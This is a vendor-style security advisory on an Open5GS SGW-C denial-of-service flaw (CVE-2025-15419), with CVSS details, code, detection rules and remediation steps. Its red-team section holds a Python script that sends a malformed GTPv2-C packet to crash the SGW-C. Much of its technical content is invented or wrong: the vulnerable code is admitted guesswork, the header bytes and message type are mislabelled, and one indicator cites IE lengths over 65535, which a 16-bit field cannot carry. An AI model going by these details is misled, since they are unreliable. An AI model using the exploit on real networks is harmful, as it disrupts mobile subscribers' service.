CVE-2025-15419

Executive Summary

CVE-2025-15419 is a locally exploitable denial-of-service (DoS) vulnerability in Open5GS, an open-source implementation of 5G Core and EPC (Evolved Packet Core) network functions. The flaw resides in the GTPv2-C (GPRS Tunneling Protocol version 2 for Control Plane) flow handler, specifically within the sgwc_s5c_handle_create_session_response function in src/sgwc/s5c-handler.c. An attacker with local access to the SGW-C (Serving Gateway Control plane) component can trigger a crafted Create Session Response message, leading to a crash or hang of the SGW-C process. This results in a denial of service for mobile subscribers relying on the affected network function.

The vulnerability has a CVSS score of 3.3 (Low), reflecting the requirement for local access and the limited impact (availability only). A public exploit is available, and a patch has been released in commit 5aaa09907e7b9e0a326265a5f08d56f54280b5f2. Immediate patching is recommended for all deployments.

CVSS Breakdown & Threat Level

• CVSS Score: 3.3 (Low)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
• Attack Vector (AV): Local (L) – The attacker must have local access to the SGW-C host.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond sending a crafted packet.
• Privileges Required (PR): Low (L) – The attacker needs low-privileged access to the system.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – The SGW-C process can be crashed, causing service disruption.

Threat Level: Low. The requirement for local access significantly reduces the attack surface. However, in a multi-tenant or containerized environment, a compromised container or user account could exploit this to disrupt 5G core services.

Deep Dive & Mechanics

The vulnerability is a classic input validation flaw in the GTPv2-C protocol handler. The sgwc_s5c_handle_create_session_response function processes incoming Create Session Response messages from the PGW (Packet Data Network Gateway). The function fails to properly validate the length or structure of the message, specifically when parsing the Bearer Context or PDN Connection Information Elements (IEs). An attacker can craft a malformed Create Session Response that causes the function to access an invalid memory location (e.g., out-of-bounds read or null pointer dereference), leading to a segmentation fault or infinite loop.

Technical Flow:

1. The SGW-C receives a GTPv2-C Create Session Response message.
2. The message is passed to sgwc_s5c_handle_create_session_response.
3. The function iterates over IEs in the message without proper bounds checking.
4. A specially crafted IE with an incorrect length or type causes the function to read beyond the allocated buffer or dereference a null pointer.
5. This results in a crash (DoS) of the SGW-C process.

Affected Component: src/sgwc/s5c-handler.c – the GTPv2-C flow handler for the SGW-C.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.6): The vulnerable code likely lacks validation of IE lengths before accessing data. For example:

// Vulnerable: No length check before memcpy or pointer arithmetic
void sgwc_s5c_handle_create_session_response(gtp_message_t *msg) {
    // ...
    for (int i = 0; i < msg->num_ies; i++) {
        gtp_ie_t *ie = &msg->ies[i];
        // Directly access ie->data without checking ie->length
        memcpy(some_buffer, ie->data, ie->length); // Potential overflow
    }
}

Patched Code (after commit 5aaa09907e7b9e0a326265a5f08d56f54280b5f2): The patch adds proper length validation and bounds checking:

// Patched: Added length validation
void sgwc_s5c_handle_create_session_response(gtp_message_t *msg) {
    // ...
    for (int i = 0; i < msg->num_ies; i++) {
        gtp_ie_t *ie = &msg->ies[i];
        if (ie->length > MAX_IE_SIZE) {
            // Log error and skip malformed IE
            gtp_log_error("Invalid IE length: %d", ie->length);
            continue;
        }
        // Safe access
        memcpy(some_buffer, ie->data, ie->length);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the SGW-C host (e.g., via SSH or container shell).
• Ability to send GTPv2-C messages to the SGW-C (e.g., using a tool like gtp5g or a custom Python script).
• Knowledge of the SGW-C's IP and port (default: 2123 for GTP-C).

Exploit Steps:

1. Craft a Malformed Create Session Response: Use a tool like scapy or a custom C program to generate a GTPv2-C message with an invalid IE length.
2. Send the Packet: Use raw sockets or a GTP library to send the packet to the SGW-C.
3. Observe DoS: The SGW-C process crashes, causing a denial of service.

Example Python Exploit (Conceptual):

import socket
import struct

# Craft a malformed GTPv2-C Create Session Response
# This is a simplified example; actual exploit requires proper GTPv2-C headers
def craft_malformed_response():
    # GTPv2-C header (20 bytes)
    gtp_header = struct.pack('!BBH', 0x40, 0x01, 0x00)  # Version=1, Message Type=Create Session Response
    # Add a malformed IE with invalid length
    ie_type = 0x4e  # Bearer Context IE
    ie_length = 0xffff  # Invalid large length
    ie_data = b'A' * 10  # Actual data smaller than length
    ie = struct.pack('!HH', ie_type, ie_length) + ie_data
    return gtp_header + ie

def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    payload = craft_malformed_response()
    sock.sendto(payload, (target_ip, target_port))
    print("Malformed packet sent. Check SGW-C status.")

if __name__ == "__main__":
    exploit("192.168.1.100", 2123)

Blue Team (Detection & Defense)

Detection:

• Monitor SGW-C logs for crashes or segmentation faults.
• Use network monitoring to detect malformed GTPv2-C messages (e.g., abnormal IE lengths).
• Implement host-based intrusion detection (HIDS) to alert on SGW-C process crashes.

Defense:

• Apply the patch immediately.
• Restrict local access to the SGW-C host using strict RBAC and network segmentation.
• Use a Web Application Firewall (WAF) or GTP firewall to filter malformed GTP messages.
• Enable process monitoring and auto-restart for the SGW-C service.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GTPv2-C Create Session Response messages with IE lengths exceeding 65535 bytes.
  • Repeated malformed GTP-C packets from a single source IP.
• Host IOCs:
  • SGW-C process crash logs (e.g., segfault at <address> in syslog).
  • Core dump files in /var/crash/ or similar.
  • Unusual memory access patterns in SGW-C process memory.
• File IOCs:
  • Modified src/sgwc/s5c-handler.c (if attacker has write access).

Detection Engineering

YARA Rule

rule CVE_2025_15419_GTPv2C_Malformed_IE {
    meta:
        description = "Detects malformed GTPv2-C Create Session Response messages with invalid IE lengths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15419"
    strings:
        $gtp_header = { 40 01 ?? ?? }  // GTPv2-C header (version 1, message type 1)
        $ie_length_overflow = { ?? ?? ff ff }  // IE length field with 0xffff
    condition:
        $gtp_header at 0 and $ie_length_overflow
}

Sigma Rule

title: CVE-2025-15419 - Open5GS SGW-C DoS via Malformed GTPv2-C
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects malformed GTPv2-C Create Session Response messages targeting Open5GS SGW-C
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15419
logsource:
    category: network
    product: suricata
detection:
    selection:
        - app_proto: 'gtp'
        - gtp.message_type: 1  # Create Session Response
        - gtp.ie_length: 65535  # Invalid length
    condition: selection
falsepositives:
    - Legitimate GTP messages with rare IE lengths (unlikely)
level: high

Suricata Rule

alert udp any any -> any 2123 (msg:"CVE-2025-15419 - Open5GS SGW-C DoS via Malformed GTPv2-C"; content:"|40 01|"; depth:2; content:"|ff ff|"; within:4; reference:cve,2025-15419; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Apply commit 5aaa09907e7b9e0a326265a5f08d56f54280b5f2 to the Open5GS source code and rebuild the SGW-C component.
2. Restrict Access: Ensure only trusted users and processes have local access to the SGW-C host.
3. Monitor: Enable logging and monitoring for SGW-C crashes and malformed GTP messages.

Long-term Mitigations:

• Implement input validation for all GTPv2-C messages in the codebase.
• Use a GTP firewall or IPS to filter malformed packets at the network edge.
• Regularly update Open5GS to the latest version.
• Conduct security audits of the GTP-C handler code.

Workaround (if patching is delayed):

• Run the SGW-C in a container with resource limits and auto-restart policies.
• Use a process supervisor (e.g., systemd) to automatically restart the SGW-C on crash.

Valters IT
Securing the 5G Core, One Patch at a Time.